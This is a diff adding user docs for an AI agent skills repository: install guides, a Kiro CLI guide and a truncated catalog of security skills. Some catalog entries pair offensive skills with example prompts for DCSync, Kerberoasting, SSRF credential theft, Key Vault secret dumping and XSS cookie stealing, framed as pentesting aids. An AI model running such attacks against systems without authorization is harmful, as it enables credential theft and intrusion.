+---
+
+## 🔒 Security & Trust (V4 Update)
+
+### What do the Risk Labels mean?
+
+We classify skills so you know what you're running:
+
+- ⚪ **Safe (White/Blue)**: Read-only, planning, or benign skills.
+- 🔴 **Risk (Red)**: Skills that modify files (delete), use network scanners, or perform destructive actions. **Use with caution.**
+- 🟣 **Official (Purple)**: Maintained by trusted vendors (Anthropic, DeepMind, etc.).
+
+### Can these skills hack my computer?
+
+**No.** Skills are text files. However, they _instruct_ the AI to run commands. If a skill says "delete all files", a compliant AI might try to do it.
+_Always check the Risk label and review the code._
+
+---
+
+## 📦 Installation & Setup
+
+### Where should I install the skills?
+
+The universal path that works with most tools is `.agent/skills/`.
+
+**Using npx:** `npx antigravity-awesome-skills` (or `npx github:sickn33/antigravity-awesome-skills` if you get a 404).
+
+**Using git clone:**
+
+```bash
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+**Tool-specific paths:**
+
+- Claude Code: `.claude/skills/`
+- Gemini CLI: `.gemini/skills/`
+- Codex CLI: `.codex/skills/`
+- Cursor: `.cursor/skills/` or project root
+
+### Does this work with Windows?
+
+**Yes**, but some "Official" skills use **symlinks** which Windows handles poorly by default.
+Run git with:
+
+```bash
+git clone -c core.symlinks=true https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+Or enable "Developer Mode" in Windows Settings.
+
+### How do I update skills?
+
+Navigate to your skills directory and pull the latest changes:
+
+```bash
+cd .agent/skills
+git pull origin main
+```
+
+---
+
+## 🛠️ Using Skills
+
+> **💡 For a complete guide with examples, see [usage.md](usage.md)**
+
+### How do I invoke a skill?
+
+Use the `@` symbol followed by the skill name:
+
+```bash
+@brainstorming help me design a todo app
+```
+
+### Can I use multiple skills at once?
+
+**Yes!** You can invoke multiple skills:
+
+```bash
+@brainstorming help me design this, then use @writing-plans to create a task list.
+```
+
+### How do I know which skill to use?
+
+1. **Browse the catalog**: Check the [Skill Catalog](../../CATALOG.md).
+2. **Search**: `ls skills/ | grep "keyword"`
+3. **Ask your AI**: "What skills do you have for testing?"
+
+---
+
+## 🏗️ Troubleshooting
+
+### My AI assistant doesn't recognize skills
+
+**Possible causes:**
+
+1. **Wrong installation path**: Check your tool's docs. Try `.agent/skills/`.
+2. **Restart Needed**: Restart your AI/IDE after installing.
+3. **Typos**: Did you type `@brain-storming` instead of `@brainstorming`?
+
+### A skill gives incorrect or outdated advice
+
+Please [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)!
+Include:
+
+- Which skill
+- What went wrong
+- What should happen instead
+
+---
+
+## 🤝 Contribution
+
+### I'm new to open source. Can I contribute?
+
+**Absolutely!** We welcome beginners.
+
+- Fix typos
+- Add examples
+- Improve docs
+ Check out [CONTRIBUTING.md](../../CONTRIBUTING.md) for instructions.
+
+### My PR failed "Quality Bar" check. Why?
+
+V4 introduces automated quality control. Your skill might be missing:
+
+1. A valid `description`.
+2. Usage examples.
+ Run `npm run validate` locally to check before you push.
+
+### Can I update an "Official" skill?
+
+**No.** Official skills (in `skills/official/`) are mirrored from vendors. Open an issue instead.
+
+---
+
+## 💡 Pro Tips
+
+- Start with `@brainstorming` before building anything new
+- Use `@systematic-debugging` when stuck on bugs
+- Try `@test-driven-development` for better code quality
+- Explore `@skill-creator` to make your own skills
+
+**Still confused?** [Open a discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions) and we'll help you out! 🙌
diff --git a/docs/users/getting-started.md b/docs/users/getting-started.md
new file mode 100644
index 00000000..363fe13a
--- /dev/null
+++ b/docs/users/getting-started.md
@@ -0,0 +1,142 @@
+# Getting Started with Antigravity Awesome Skills (V7.0.0)
+
+**New here? This guide will help you supercharge your AI Agent in 5 minutes.**
+
+> **💡 Confused about what to do after installation?** Check out the [**Complete Usage Guide**](usage.md) for detailed explanations and examples!
+
+---
+
+## 🤔 What Are "Skills"?
+
+AI Agents (like **Claude Code**, **Gemini**, **Cursor**) are smart, but they lack specific knowledge about your tools.
+**Skills** are specialized instruction manuals (markdown files) that teach your AI how to perform specific tasks perfectly, every time.
+
+**Analogy:** Your AI is a brilliant intern. **Skills** are the SOPs (Standard Operating Procedures) that make them a Senior Engineer.
+
+---
+
+## ⚡️ Quick Start: The "Starter Packs"
+
+Don't panic about the 1,200+ skills. You don't need them all at once.
+We have curated **Starter Packs** to get you running immediately.
+
+You **install the full repo once** (npx or clone); Starter Packs are curated lists to help you **pick which skills to use** by role (e.g. Web Wizard, Hacker Pack)—they are not a different way to install.
+
+### 1. Install the Repo
+
+**Option A — npx (easiest):**
+
+```bash
+npx antigravity-awesome-skills
+```
+
+This clones to `~/.gemini/antigravity/skills` by default. Use `--cursor`, `--claude`, `--gemini`, `--codex`, or `--kiro` to install for a specific tool, or `--path ` for a custom location. Run `npx antigravity-awesome-skills --help` for details.
+
+If you see a 404 error, use: `npx github:sickn33/antigravity-awesome-skills`
+
+**Option B — git clone:**
+
+```bash
+# Universal (works for most agents)
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+### 2. Pick Your Persona
+
+Find the bundle that matches your role (see [bundles.md](bundles.md)):
+
+| Persona | Bundle Name | What's Inside? |
+| :-------------------- | :------------- | :------------------------------------------------ |
+| **Web Developer** | `Web Wizard` | React Patterns, Tailwind mastery, Frontend Design |
+| **Security Engineer** | `Hacker Pack` | OWASP, Metasploit, Pentest Methodology |
+| **Manager / PM** | `Product Pack` | Brainstorming, Planning, SEO, Strategy |
+| **Everything** | `Essentials` | Clean Code, Planning, Validation (The Basics) |
+
+---
+
+## 🧭 Bundles vs Workflows
+
+Bundles and workflows solve different problems:
+
+- **Bundles** = curated sets by role (what to pick).
+- **Workflows** = step-by-step playbooks (how to execute).
+
+Start with bundles in [bundles.md](bundles.md), then run a workflow from [workflows.md](workflows.md) when you need guided execution.
+
+Example:
+
+> "Use **@antigravity-workflows** and run `ship-saas-mvp` for my project idea."
+
+---
+
+## 🚀 How to Use a Skill
+
+Once installed, just talk to your AI naturally.
+
+### Example 1: Planning a Feature (**Essentials**)
+
+> "Use **@brainstorming** to help me design a new login flow."
+
+**What happens:** The AI loads the brainstorming skill, asks you structured questions, and produces a professional spec.
+
+### Example 2: Checking Your Code (**Web Wizard**)
+
+> "Run **@lint-and-validate** on this file and fix errors."
+
+**What happens:** The AI follows strict linting rules defined in the skill to clean your code.
+
+### Example 3: Security Audit (**Hacker Pack**)
+
+> "Use **@api-security-best-practices** to review my API endpoints."
+
+**What happens:** The AI audits your code against OWASP standards.
+
+---
+
+## 🔌 Supported Tools
+
+| Tool | Status | Path |
+| :-------------- | :-------------- | :-------------------------------------------------------------------- |
+| **Claude Code** | ✅ Full Support | `.claude/skills/` |
+| **Gemini CLI** | ✅ Full Support | `.gemini/skills/` |
+| **Codex CLI** | ✅ Full Support | `.codex/skills/` |
+| **Kiro CLI** | ✅ Full Support | Global: `~/.kiro/skills/` · Workspace: `.kiro/skills/` |
+| **Kiro IDE** | ✅ Full Support | Global: `~/.kiro/skills/` · Workspace: `.kiro/skills/` |
+| **Antigravity** | ✅ Native | Global: `~/.gemini/antigravity/skills/` · Workspace: `.agent/skills/` |
+| **Cursor** | ✅ Native | `.cursor/skills/` |
+| **OpenCode** | ✅ Full Support | `.agents/skills/` |
+| **AdaL CLI** | ✅ Full Support | `.adal/skills/` |
+| **Copilot** | ⚠️ Text Only | Manual copy-paste |
+
+---
+
+## 🛡️ Trust & Safety (New in V4)
+
+We classify skills so you know what you're running:
+
+- 🟣 **Official**: Maintained by Anthropic/Google/Vendors (High Trust).
+- 🔵 **Safe**: Community skills that are non-destructive (Read-only/Planning).
+- 🔴 **Risk**: Skills that modify systems or perform security tests (Authorized Use Only).
+
+_Check the [Skill Catalog](../../CATALOG.md) for the full list._
+
+---
+
+## ❓ FAQ
+
+**Q: Do I need to install all 1,204+ skills?**
+A: You clone the whole repo once; your AI only _reads_ the skills you invoke (or that are relevant), so it stays lightweight. **Starter Packs** in [bundles.md](bundles.md) are curated lists to help you discover the right skills for your role—they don't change how you install.
+
+**Q: Can I make my own skills?**
+A: Yes! Use the **@skill-creator** skill to build your own.
+
+**Q: Is this free?**
+A: Yes, MIT License. Open Source forever.
+
+---
+
+## ⏭️ Next Steps
+
+1. [Browse the Bundles](bundles.md)
+2. [See Real-World Examples](../contributors/examples.md)
+3. [Contribute a Skill](../../CONTRIBUTING.md)
diff --git a/docs/users/kiro-integration.md b/docs/users/kiro-integration.md
new file mode 100644
index 00000000..64dba313
--- /dev/null
+++ b/docs/users/kiro-integration.md
@@ -0,0 +1,304 @@
+# Kiro CLI Integration Guide
+
+## Overview
+
+This guide explains how to use Antigravity Awesome Skills with **Kiro CLI**, AWS's agentic AI-powered coding assistant.
+
+## What is Kiro?
+
+Kiro is AWS's agentic AI IDE that combines:
+
+- **Autonomous coding agents** that work independently for extended periods
+- **Context-aware assistance** with deep understanding of your codebase
+- **AWS service integration** with native support for CDK, SAM, and Terraform
+- **MCP (Model Context Protocol)** for secure external API and database calls
+- **Spec-driven development** that turns natural language into structured specifications
+
+## Why Use Skills with Kiro?
+
+Kiro's agentic capabilities are enhanced by skills that provide:
+
+- **Domain expertise** across 1,204+ specialized areas
+- **Best practices** from Anthropic, OpenAI, Google, Microsoft, and AWS
+- **Workflow automation** for common development tasks
+- **AWS-specific patterns** for serverless, infrastructure, and cloud architecture
+
+## Installation
+
+### Quick Install
+
+```bash
+# Install to Kiro's default skills directory
+npx antigravity-awesome-skills --kiro
+```
+
+This installs skills to `~/.kiro/skills/`
+
+### Manual Installation
+
+```bash
+# Clone directly to Kiro's skills directory
+git clone https://github.com/sickn33/antigravity-awesome-skills.git ~/.kiro/skills
+```
+
+### Verification
+
+```bash
+# Verify installation
+test -d ~/.kiro/skills && echo "✓ Skills installed successfully"
+ls ~/.kiro/skills/skills/ | head -10
+```
+
+## Using Skills with Kiro
+
+### Basic Invocation
+
+Kiro uses natural language prompts to invoke skills:
+
+```
+Use the @brainstorming skill to help me design a serverless API
+```
+
+```
+Apply @aws-serverless patterns to this Lambda function
+```
+
+```
+Run @security-audit on my CDK stack
+```
+
+### Recommended Skills for Kiro Users
+
+#### AWS & Cloud Infrastructure
+
+- `@aws-serverless` - Serverless architecture patterns
+- `@aws-cdk` - AWS CDK best practices
+- `@aws-sam` - SAM template patterns
+- `@terraform-expert` - Terraform infrastructure as code
+- `@docker-expert` - Container optimization
+- `@kubernetes-expert` - K8s deployment patterns
+
+#### Architecture & Design
+
+- `@architecture` - System design and ADRs
+- `@c4-context` - C4 model diagrams
+- `@senior-architect` - Scalable architecture patterns
+- `@microservices-patterns` - Microservices design
+
+#### Security
+
+- `@api-security-best-practices` - API security hardening
+- `@vulnerability-scanner` - Security vulnerability detection
+- `@owasp-top-10` - OWASP security patterns
+- `@aws-security-best-practices` - AWS security configuration
+
+#### Development
+
+- `@typescript-expert` - TypeScript best practices
+- `@python-patterns` - Python design patterns
+- `@react-patterns` - React component patterns
+- `@test-driven-development` - TDD workflows
+
+#### DevOps & Automation
+
+- `@ci-cd-pipeline` - CI/CD automation
+- `@github-actions` - GitHub Actions workflows
+- `@monitoring-observability` - Observability patterns
+- `@incident-response` - Incident management
+
+## Kiro-Specific Workflows
+
+### 1. Serverless Application Development
+
+```
+1. Use @brainstorming to design the application architecture
+2. Apply @aws-serverless to create Lambda functions
+3. Use @aws-cdk to generate infrastructure code
+4. Run @test-driven-development to add tests
+5. Apply @ci-cd-pipeline to set up deployment
+```
+
+### 2. Infrastructure as Code
+
+```
+1. Use @architecture to document the system design
+2. Apply @terraform-expert to write Terraform modules
+3. Run @security-audit to check for vulnerabilities
+4. Use @documentation to generate README and runbooks
+```
+
+### 3. API Development
+
+```
+1. Use @api-design to plan endpoints
+2. Apply @typescript-expert for implementation
+3. Run @api-security-best-practices for hardening
+4. Use @openapi-spec to generate documentation
+```
+
+## Advanced Features
+
+### MCP Integration
+
+Kiro's MCP support allows skills to:
+
+- Call external APIs securely
+- Query databases with context
+- Integrate with AWS services
+- Access documentation in real-time
+
+Skills that leverage MCP:
+
+- `@rag-engineer` - RAG system implementation
+- `@langgraph` - Agent workflow orchestration
+- `@prompt-engineer` - LLM prompt optimization
+
+### Autonomous Operation
+
+Kiro can work independently for extended periods. Use skills to guide long-running tasks:
+
+```
+Use @systematic-debugging to investigate and fix all TypeScript errors in the codebase,
+then apply @test-driven-development to add missing tests, and finally run @documentation
+to update all README files.
+```
+
+### Context-Aware Assistance
+
+Kiro maintains deep context. Reference multiple skills in complex workflows:
+
+```
+I'm building a SaaS application. Use @brainstorming for the MVP plan,
+@aws-serverless for the backend, @react-patterns for the frontend,
+@stripe-integration for payments, and @security-audit for hardening.
+```
+
+## Bundles for Kiro Users
+
+Pre-curated skill collections optimized for common Kiro use cases:
+
+### AWS Developer Bundle
+
+- `@aws-serverless`
+- `@aws-cdk`
+- `@aws-sam`
+- `@lambda-best-practices`
+- `@dynamodb-patterns`
+- `@api-gateway-patterns`
+
+### Full-Stack AWS Bundle
+
+- `@aws-serverless`
+- `@react-patterns`
+- `@typescript-expert`
+- `@api-design`
+- `@test-driven-development`
+- `@ci-cd-pipeline`
+
+### DevOps & Infrastructure Bundle
+
+- `@terraform-expert`
+- `@docker-expert`
+- `@kubernetes-expert`
+- `@monitoring-observability`
+- `@incident-response`
+- `@security-audit`
+
+See [bundles.md](bundles.md) for complete bundle listings.
+
+## Troubleshooting
+
+### Skills Not Loading
+
+```bash
+# Check installation path
+ls -la ~/.kiro/skills/
+
+# Reinstall if needed
+rm -rf ~/.kiro/skills
+npx antigravity-awesome-skills --kiro
+```
+
+### Skill Not Found
+
+Ensure you're using the correct skill name:
+
+```bash
+# List all available skills
+ls ~/.kiro/skills/skills/
+```
+
+### Permission Issues
+
+```bash
+# Fix permissions
+chmod -R 755 ~/.kiro/skills/
+```
+
+## Best Practices
+
+1. **Start with bundles** - Use pre-curated collections for your role
+2. **Combine skills** - Reference multiple skills in complex tasks
+3. **Be specific** - Clearly state which skill to use and what to do
+4. **Iterate** - Let Kiro work autonomously, then refine with additional skills
+5. **Document** - Use `@documentation` to keep your codebase well-documented
+
+## Examples
+
+### Example 1: Build a Serverless API
+
+```
+I need to build a REST API for a todo application using AWS Lambda and DynamoDB.
+
+Use @brainstorming to design the architecture, then apply @aws-serverless
+to implement the Lambda functions, @dynamodb-patterns for data modeling,
+and @api-security-best-practices for security hardening.
+
+Generate the infrastructure using @aws-cdk and add tests with @test-driven-development.
+```
+
+### Example 2: Migrate to Microservices
+
+```
+I want to break down this monolithic application into microservices.
+
+Use @architecture to create an ADR for the migration strategy,
+apply @microservices-patterns for service boundaries,
+@docker-expert for containerization, and @kubernetes-expert for orchestration.
+
+Document the migration plan with @documentation.
+```
+
+### Example 3: Security Audit
+
+```
+Perform a comprehensive security audit of this application.
+
+Use @security-audit to scan for vulnerabilities, @owasp-top-10 to check
+for common issues, @api-security-best-practices for API hardening,
+and @aws-security-best-practices for cloud configuration.
+
+Generate a report with findings and remediation steps.
+```
+
+## Resources
+
+- [Kiro Official Documentation](https://kiro.dev)
+- [AWS Blog: Transform DevOps with Kiro](https://aws.amazon.com/blogs/publicsector/transform-devops-practice-with-kiro-ai-powered-agents/)
+- [Complete Skills Catalog](../../CATALOG.md)
+- [Usage Guide](usage.md)
+- [Workflow Examples](workflows.md)
+
+## Contributing
+
+Found a Kiro-specific use case or workflow? Contribute to this guide:
+
+1. Fork the repository
+2. Add your examples to this file
+3. Submit a pull request
+
+## Support
+
+- **Issues**: [GitHub Issues](https://github.com/sickn33/antigravity-awesome-skills/issues)
+- **Discussions**: [GitHub Discussions](https://github.com/sickn33/antigravity-awesome-skills/discussions)
+- **Community**: [Community Guidelines](../contributors/community-guidelines.md)
diff --git a/docs/users/security-skills.md b/docs/users/security-skills.md
new file mode 100644
index 00000000..431eafd0
--- /dev/null
+++ b/docs/users/security-skills.md
@@ -0,0 +1,1722 @@
+# Security-Related Skills Report
+
+Total Security Skills Found: 128
+
+This report lists all security-related skills found in the `antigravity-awesome-skills` repository, including their descriptions, use cases, and example prompts.
+
+## accessibility-compliance-accessibility-audit (`accessibility-compliance-accessibility-audit`)
+
+**Description:** You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.
+
+### Use Cases
+- Auditing web or mobile experiences for WCAG compliance
+- Identifying accessibility barriers and remediation priorities
+- Establishing ongoing accessibility testing practices
+- Preparing compliance evidence for stakeholders
+
+### Example Prompts
+- "Audit this login page for WCAG 2.1 Level AA compliance and list all violations."
+- "Perform a manual screen reader check of the checkout flow and document focus order issues."
+- "Provide a remediation plan for resolving contrast and keyboard navigation errors found in the audit."
+
+---
+
+## Active Directory Attacks (`active-directory-attacks`)
+
+**Description:** This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
+
+### Use Cases
+- Executing Active Directory reconnaissance and attack path visualization
+- Performing Kerberoasting and AS-REP roasting to harvest credentials
+- Simulating lateral movement and privilege escalation in Windows domains
+- Testing for critical AD vulnerabilities like ZeroLogon or PrintNightmare
+
+### Example Prompts
+- "Perform a BloodHound collection in the domain and identify the shortest path to Domain Admin."
+- "GetUserSPNs.py against the target DC and extract hashes for offline cracking."
+- "Execute a DCSync attack to extract the krbtgt hash for a Golden Ticket generation."
+- "Test this Domain Controller for the ZeroLogon vulnerability and document findings."
+
+
+---
+
+## angular-migration (`angular-migration`)
+
+**Description:** Migrate from AngularJS to Angular using hybrid mode, incremental component rewriting, and dependency injection updates. Use when upgrading AngularJS applications, planning framework migrations, or modernizing legacy Angular code.
+
+### Use Cases
+- Migrating AngularJS (1.x) applications to Angular (2+)
+- Running hybrid AngularJS/Angular applications using ngUpgrade
+- Converting directives to components and modernizing DI
+
+### Example Prompts
+- "Set up a hybrid Angular/AngularJS application bootstrapping both frameworks."
+- "Convert this AngularJS directive into a modern Angular component."
+- "Downgrade this new Angular service so it can be used in an existing AngularJS controller."
+
+---
+
+## anti-reversing-techniques (`anti-reversing-techniques`)
+
+**Description:** Understand anti-reversing, obfuscation, and protection techniques encountered during software analysis. Use when analyzing protected binaries, bypassing anti-debugging for authorized analysis, or understanding software protection mechanisms.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## API Fuzzing for Bug Bounty (`api-fuzzing-bug-bounty`)
+
+**Description:** This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
+
+### Use Cases
+- Discovering API endpoints and fuzzing for vulnerabilities
+- Testing for IDOR, injection, and auth bypass in REST/GraphQL/SOAP APIs
+- Performing security assessments during bug bounty hunting
+
+### Example Prompts
+- "Use Kiterunner to scan for hidden API endpoints on this target domain."
+- "Test these GraphQL queries for introspection vulnerabilities and nested query DoS."
+- "Attempt an IDOR bypass by wrapping the user ID in an array or using parameter pollution."
+
+---
+
+## api-patterns (`api-patterns`)
+
+**Description:** API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## api-security-best-practices (`api-security-best-practices`)
+
+**Description:** Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities
+
+### Use Cases
+- Use when designing new API endpoints
+- Use when securing existing APIs
+- Use when implementing authentication and authorization
+- Use when protecting against API attacks (injection, DDoS, etc.)
+- Use when conducting API security reviews
+- Use when preparing for security audits
+- Use when implementing rate limiting and throttling
+- Use when handling sensitive data in APIs
+
+### Use Cases
+- Implementing secure API design patterns (auth, validation, rate limiting)
+- Protecting against injection, DDoS, and information disclosure
+- Conducting API security reviews and audits
+
+### Example Prompts
+- "Implement secure user authentication with JWT and refresh token rotation."
+- "Review this API endpoint for injection vulnerabilities and implement proper validation."
+- "Set up comprehensive security headers and CSP for this web application."
+
+---
+
+## attack-tree-construction (`attack-tree-construction`)
+
+**Description:** Build comprehensive attack trees to visualize threat paths. Use when mapping attack scenarios, identifying defense gaps, or communicating security risks to stakeholders.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## auth-implementation-patterns (`auth-implementation-patterns`)
+
+**Description:** Master authentication and authorization patterns including JWT, OAuth2, session management, and RBAC to build secure, scalable access control systems. Use when implementing auth systems, securing APIs, or debugging security issues.
+
+### Use Cases
+- Implementing user authentication systems (JWT, OAuth2, Session)
+- Securing REST or GraphQL APIs with industry-standard patterns
+- Designing and debugging session management and RBAC systems
+
+### Example Prompts
+- "Implement secure user authentication with JWT and refresh token rotation."
+- "Design an RBAC system for a multi-tenant SaaS application."
+- "Debug an authentication flow that is failing to properly validate OAuth2 tokens."
+
+---
+
+## AWS Penetration Testing (`aws-penetration-testing`)
+
+**Description:** This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
+
+### Use Cases
+- Pentesting AWS cloud environments (IAM, S3, EC2, Lambda)
+- Enumerating IAM permissions and identifying privesc paths
+- Exploiting metadata SSRF and S3 bucket misconfigurations
+
+### Example Prompts
+- "Enumerate IAM permissions for these AWS access keys and find privilege escalation paths."
+- "Extract temporary credentials from the EC2 metadata endpoint via an SSRF vulnerability."
+- "Scan for public S3 buckets associated with this organization and check for sensitive data."
+
+---
+
+## backend-dev-guidelines (`backend-dev-guidelines`)
+
+**Description:** Opinionated backend development standards for Node.js + Express + TypeScript microservices. Covers layered architecture, BaseController pattern, dependency injection, Prisma repositories, Zod validation, unifiedConfig, Sentry error tracking, async safety, and testing discipline.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## backend-security-coder (`backend-security-coder`)
+
+**Description:** Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.
+
+### Use Cases
+- **Use this agent for**: Hands-on backend security coding, API security implementation, database security configuration, authentication system coding, vulnerability fixes
+- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning
+- **Key difference**: This agent focuses on writing secure backend code, while security-auditor focuses on auditing and assessing security posture
+
+### Example Prompts
+- "Implement secure user authentication with JWT and refresh token rotation"
+- "Review this API endpoint for injection vulnerabilities and implement proper validation"
+- "Configure CSRF protection for cookie-based authentication system"
+- "Implement secure database queries with parameterization and access controls"
+- "Set up comprehensive security headers and CSP for web application"
+- "Create secure error handling that doesn't leak sensitive information"
+- "Implement rate limiting and DDoS protection for public API endpoints"
+- "Design secure external service integration with allowlist validation"
+
+---
+
+## bash-defensive-patterns (`bash-defensive-patterns`)
+
+**Description:** Master defensive Bash programming techniques for production-grade scripts. Use when writing robust shell scripts, CI/CD pipelines, or system utilities requiring fault tolerance and safety.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## bash-pro (`bash-pro`)
+
+**Description:** Master of defensive Bash scripting for production automation, CI/CD pipelines, and system utilities. Expert in safe, portable, and testable shell scripts.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Broken Authentication Testing (`broken-authentication`)
+
+**Description:** This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
+
+### Use Cases
+- Identifying and exploiting session management vulnerabilities
+- Evaluating password policies and account lockout mechanisms
+- Testing MFA implementation and bypass techniques
+- Analyzing password reset token security and manipulation
+
+### Example Prompts
+- "Test this login form for account lockout bypass using IP rotation in the X-Forwarded-For header."
+- "Perform a JWT 'none' algorithm attack by capturing and modifying the authentication token."
+- "Analyze this password reset workflow for host header injection and token predictability."
+
+---
+
+## Burp Suite Web Application Testing (`burp-suite-testing`)
+
+**Description:** This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
+
+### Use Cases
+- Intercepting and modifying HTTP traffic to test business logic
+- Using Burp Repeater for manual request replay and analysis
+- Executing automated vulnerability scans (Professional edition)
+- Performing Intruder attacks for fuzzing and credential testing
+
+### Example Prompts
+- "Intercept this checkout request and attempt to manipulate the 'price' parameter to 1."
+- "Send this product lookup request to Burp Repeater and test for error-based SQL injection."
+- "Configure a Burp Intruder Pitchfork attack to test a list of username:password pairs."
+
+---
+
+## cicd-automation-workflow-automate (`cicd-automation-workflow-automate`)
+
+**Description:** You are a workflow automation expert specializing in creating efficient CI/CD pipelines, GitHub Actions workflows, and automated development processes. Design automation that reduces manual work, improves consistency, and accelerates delivery while maintaining quality and security.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## clerk-auth (`clerk-auth`)
+
+**Description:** Expert patterns for Clerk auth implementation, middleware, organizations, webhooks, and user sync Use when: adding authentication, clerk auth, user authentication, sign in, sign up.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Cloud Penetration Testing (`cloud-penetration-testing`)
+
+**Description:** This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
+
+### Use Cases
+- Assessing security posture across Azure, AWS, and GCP infrastructure
+- Enumerating cloud resources (S3, EC2, Azure AD, Lambda, etc.)
+- Identifying privilege escalation paths through misconfigured IAM policies
+- Testing for sensitive data exposure in public storage buckets or snapshots
+
+### Example Prompts
+- "Perform a reconnaissance scan for all public S3 buckets associated with 'targetcompany'."
+- "Dump the Key Vault secrets for this Azure tenant using the compromised service principal."
+- "Identify privilege escalation paths in this AWS account using Pacu or SkyArk."
+
+---
+
+## cloud-architect (`cloud-architect`)
+
+**Description:** Expert cloud architect specializing in AWS/Azure/GCP multi-cloud infrastructure design, advanced IaC (Terraform/OpenTofu/CDK), FinOps cost optimization, and modern architectural patterns. Masters serverless, microservices, security, compliance, and disaster recovery. Use PROACTIVELY for cloud architecture, cost optimization, migration planning, or multi-cloud strategies.
+
+### Use Cases
+Expert cloud architect with deep knowledge of AWS, Azure, GCP, and emerging cloud technologies. Masters Infrastructure as Code, FinOps practices, and modern architectural patterns including serverless, microservices, and event-driven architectures. Specializes in cost optimization, security best practices, and building resilient, scalable systems.
+
+### Example Prompts
+- "Design a multi-region, auto-scaling web application architecture on AWS with estimated monthly costs"
+- "Create a hybrid cloud strategy connecting on-premises data center with Azure"
+- "Optimize our GCP infrastructure costs while maintaining performance and availability"
+- "Design a serverless event-driven architecture for real-time data processing"
+- "Plan a migration from monolithic application to microservices on Kubernetes"
+- "Implement a disaster recovery solution with 4-hour RTO across multiple cloud providers"
+- "Design a compliant architecture for healthcare data processing meeting HIPAA requirements"
+- "Create a FinOps strategy with automated cost optimization and chargeback reporting"
+
+---
+
+## code-review-checklist (`code-review-checklist`)
+
+**Description:** Comprehensive checklist for conducting thorough code reviews covering functionality, security, performance, and maintainability
+
+### Use Cases
+- Use when reviewing pull requests
+- Use when conducting code audits
+- Use when establishing code review standards for a team
+- Use when training new developers on code review practices
+- Use when you want to ensure nothing is missed in reviews
+- Use when creating code review documentation
+
+### Example Prompts
+Not specified
+
+---
+
+## code-reviewer (`code-reviewer`)
+
+**Description:** Elite code review expert specializing in modern AI-powered code analysis, security vulnerabilities, performance optimization, and production reliability. Masters static analysis tools, security scanning, and configuration review with 2024/2025 best practices. Use PROACTIVELY for code quality assurance.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+- "Review this microservice API for security vulnerabilities and performance issues"
+- "Analyze this database migration for potential production impact"
+- "Assess this React component for accessibility and performance best practices"
+- "Review this Kubernetes deployment configuration for security and reliability"
+- "Evaluate this authentication implementation for OAuth2 compliance"
+- "Analyze this caching strategy for race conditions and data consistency"
+- "Review this CI/CD pipeline for security and deployment best practices"
+- "Assess this error handling implementation for observability and debugging"
+
+---
+
+## codebase-cleanup-deps-audit (`codebase-cleanup-deps-audit`)
+
+**Description:** You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## computer-use-agents (`computer-use-agents`)
+
+**Description:** Build AI agents that interact with computers like humans do - viewing screens, moving cursors, clicking buttons, and typing text. Covers Anthropic's Computer Use, OpenAI's Operator/CUA, and open-source alternatives. Critical focus on sandboxing, security, and handling the unique challenges of vision-based control. Use when: computer use, desktop automation agent, screen control AI, vision-based agent, GUI automation.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Cross-Site Scripting and HTML Injection Testing (`xss-html-injection`)
+
+**Description:** This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
+
+### Use Cases
+- Detecting reflected, stored, and DOM-based XSS vulnerabilities
